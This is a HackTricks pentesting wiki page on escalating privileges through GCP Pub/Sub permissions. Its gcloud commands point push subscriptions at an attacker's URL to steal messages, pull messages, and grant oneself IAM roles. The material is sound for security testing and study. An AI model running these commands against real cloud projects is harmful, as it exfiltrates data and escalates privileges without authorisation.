hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md

GCP - Pubsub Privesc

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PubSub

Get more information in:

{{#ref}} ../gcp-services/gcp-pub-sub.md {{#endref}}

pubsub.snapshots.create (pubsub.topics.attachSubscription)

The snapshots of topics contain the current unACKed messages and every message after it. You could create a snapshot of a topic to access all the messages, avoiding access the topic directly.

gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>

pubsub.snapshots.setIamPolicy

Assign the pervious permissions to you.

pubsub.subscriptions.create

You can create a push subscription in a topic that will be sending all the received messages to the indicated URL

pubsub.subscriptions.update

Set your own URL as push endpoint to steal the messages.

pubsub.subscriptions.consume

Access messages using the subscription.

gcloud pubsub subscriptions pull <SUSCRIPTION> \
  --limit=50 \
  --format="json" \
  --project=<PROJECTID>

pubsub.subscriptions.setIamPolicy

Give yourself any of the preiovus permissions

# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"

# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
  <(echo '{
    "bindings": [
      {
        "role": "<ROLE_OR_CUSTOM_ROLE>",
        "members": [
          "serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
        ]
      }
    ]
  }') \
  --project=<PROJECT_ID>

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